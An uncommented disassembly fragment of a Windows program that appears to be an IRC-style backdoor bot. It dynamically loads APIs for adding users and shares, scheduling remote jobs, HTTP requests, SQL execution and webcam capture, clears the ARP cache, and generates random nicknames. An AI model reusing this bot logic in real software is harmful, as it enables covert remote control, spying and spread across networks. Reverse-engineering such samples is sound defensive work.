cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi ; GetProcAddress
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi ; GetProcAddress
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi ; GetProcAddress
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi ; GetProcAddress
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi ; GetProcAddress
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi ; GetProcAddress
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi ; GetProcAddress
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA10, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi ; GetProcAddress
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi ; GetProcAddress
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A5C5(int,char *Str,int,int)
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+Dest]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax ; Dest
loc_40A897: ; DATA XREF: .data:0043320Co
; .data:00433250o ...
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+Dest]
push offset asc_42D6C4 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx ; DnsFlushResolverCache
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+Size]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+Size], edi
mov [ebp+var_4], ebx
call dword_4CBA50 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+Dest]
push offset asc_42D8D8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+Size] ; Size
call _malloc
push [ebp+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+Size]
push ebx
push eax
push esi
call dword_4CBA50 ; GetIpNetTable
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset asc_42D884 ; "-"
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+Dest]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset byte_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AAAC(char *Dest)
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: .data:off_42D920o
Dest = dword ptr 4
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+Dest]
push off_42D99C[edx*4]
push offset aS_6 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_429138 ; "-"
push offset aS_6 ; "%s"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB72
loc_40AB4C: ; CODE XREF: .text:0040AB70j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AB4C
loc_40AB72: ; CODE XREF: .text:0040AB4Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
call ds:dword_4270C8 ; GetComputerNameA
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: .text:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: .text:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: .text:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: .text:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: .text:0040AC5Aj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
